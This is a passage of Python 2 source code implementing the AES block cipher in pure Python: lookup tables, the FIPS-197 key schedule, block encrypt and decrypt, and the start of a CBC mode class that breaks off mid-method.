    T8 = [ 0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0 ]

    # Transformations for decryption key expansion
    U1 = [ 0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3 ]
    U2 = [ 0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697 ]
    U3 = [ 0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46 ]
    U4 = [ 0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d ]

    def __init__(self, key):

        if len(key) not in (16, 24, 32):
            raise ValueError('Invalid key size')

        rounds = self.number_of_rounds[len(key)]

        # Encryption round keys
        self._Ke = [[0] * 4 for i in xrange(rounds + 1)]

        # Decryption round keys
        self._Kd = [[0] * 4 for i in xrange(rounds + 1)]

        round_key_count = (rounds + 1) * 4
        KC = len(key) // 4

        # Convert the key into ints
        tk = [ struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4) ]

        # Copy values into round key arrays
        for i in xrange(0, KC):
            self._Ke[i // 4][i % 4] = tk[i]
            self._Kd[rounds - (i // 4)][i % 4] = tk[i]

        # Key expansion (fips-197 section 5.2)
        rconpointer = 0
        t = KC
        while t < round_key_count:

            tt = tk[KC - 1]
            tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^
                      (self.S[(tt >>  8) & 0xFF] << 16) ^
                      (self.S[ tt        & 0xFF] <<  8) ^
                       self.S[(tt >> 24) & 0xFF]        ^
                      (self.rcon[rconpointer] << 24))
            rconpointer += 1

            if KC != 8:
                for i in xrange(1, KC):
                    tk[i] ^= tk[i - 1]

            # Key expansion for 256-bit keys is "slightly different" (fips-197)
            else:
                for i in xrange(1, KC // 2):
                    tk[i] ^= tk[i - 1]
                tt = tk[KC // 2 - 1]

                tk[KC // 2] ^= (self.S[ tt        & 0xFF]        ^
                               (self.S[(tt >>  8) & 0xFF] <<  8) ^
                               (self.S[(tt >> 16) & 0xFF] << 16) ^
                               (self.S[(tt >> 24) & 0xFF] << 24))

                for i in xrange(KC // 2 + 1, KC):
                    tk[i] ^= tk[i - 1]

            # Copy values into round key arrays
            j = 0
            while j < KC and t < round_key_count:
                self._Ke[t // 4][t % 4] = tk[j]
                self._Kd[rounds - (t // 4)][t % 4] = tk[j]
                j += 1
                t += 1

        # Inverse-Cipher-ify the decryption round key (fips-197 section 5.3)
        for r in xrange(1, rounds):
            for j in xrange(0, 4):
                tt = self._Kd[r][j]
                self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^
                                  self.U2[(tt >> 16) & 0xFF] ^
                                  self.U3[(tt >>  8) & 0xFF] ^
                                  self.U4[ tt        & 0xFF])

    def encrypt(self, plaintext):
        """
        Encrypt a block of plain text using the AES block cipher

        `Required`
        :param str plaintext:       16 byte block of plaintext

        """
        if len(plaintext) != 16:
            raise ValueError('wrong block length')

        rounds = len(self._Ke) - 1
        (s1, s2, s3) = [1, 2, 3]
        a = [0, 0, 0, 0]

        # Convert plaintext to (ints ^ key)
        t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)]

        # Apply round transforms
        for r in xrange(1, rounds):
            for i in xrange(0, 4):
                a[i] = (self.T1[(t[ i          ] >> 24) & 0xFF] ^
                        self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^
                        self.T3[(t[(i + s2) % 4] >>  8) & 0xFF] ^
                        self.T4[ t[(i + s3) % 4]        & 0xFF] ^
                        self._Ke[r][i])
            t = copy.copy(a)

        # The last round is special
        result = [ ]
        for i in xrange(0, 4):
            tt = self._Ke[rounds][i]
            result.append((self.S[(t[ i          ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
            result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
            result.append((self.S[(t[(i + s2) % 4] >>  8) & 0xFF] ^ (tt >>  8)) & 0xFF)
            result.append((self.S[ t[(i + s3) % 4]        & 0xFF] ^  tt       ) & 0xFF)

        return result

    def decrypt(self, ciphertext):
        """
        Decrypt a block of ciphertext using the AES block cipher

        `Required`
        :param str ciphertext:       16 byte block of ciphertext

        """
        if len(ciphertext) != 16:
            raise ValueError('wrong block length')

        rounds = len(self._Kd) - 1
        (s1, s2, s3) = [3, 2, 1]
        a = [0, 0, 0, 0]

        # Convert ciphertext to (ints ^ key)
        t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)]

        # Apply round transforms
        for r in xrange(1, rounds):
            for i in xrange(0, 4):
                a[i] = (self.T5[(t[ i          ] >> 24) & 0xFF] ^
                        self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^
                        self.T7[(t[(i + s2) % 4] >>  8) & 0xFF] ^
                        self.T8[ t[(i + s3) % 4]        & 0xFF] ^
                        self._Kd[r][i])
            t = copy.copy(a)

        # The last round is special
        result = [ ]
        for i in xrange(0, 4):
            tt = self._Kd[rounds][i]
            result.append((self.Si[(t[ i          ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
            result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
            result.append((self.Si[(t[(i + s2) % 4] >>  8) & 0xFF] ^ (tt >>  8)) & 0xFF)
            result.append((self.Si[ t[(i + s3) % 4]        & 0xFF] ^  tt       ) & 0xFF)

        return result


class AESModeOfOperationCBC(AES):
    """
    AES Cipher Block Chaining Mode

    `Required`
    :param str key:     16 byte shared secret key
    :param str iv:      16 byte initialization vector

    """

    name = "Cipher-Block Chaining (CBC)"
    block_size = 16

    def __init__(self, key, iv = None):
        if iv is None:
            self._last_cipherblock = [ 0 ] * 16
        elif len(iv) != 16:
            raise ValueError('initialization vector must be 16 bytes')
        else:
            self._last_cipherblock = _string_to_bytes(iv)

        self._aes = AES(key)

    def encrypt(self, plaintext):
        if len(plaintext) != 16:
            raise ValueError('plaintext block must be 16 bytes')

        plaintext = _string_to_bytes(plaintext)
        precipherblock = [ (p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock) ]
        self._last_cipherblock = self._aes.encrypt(precipherblock)

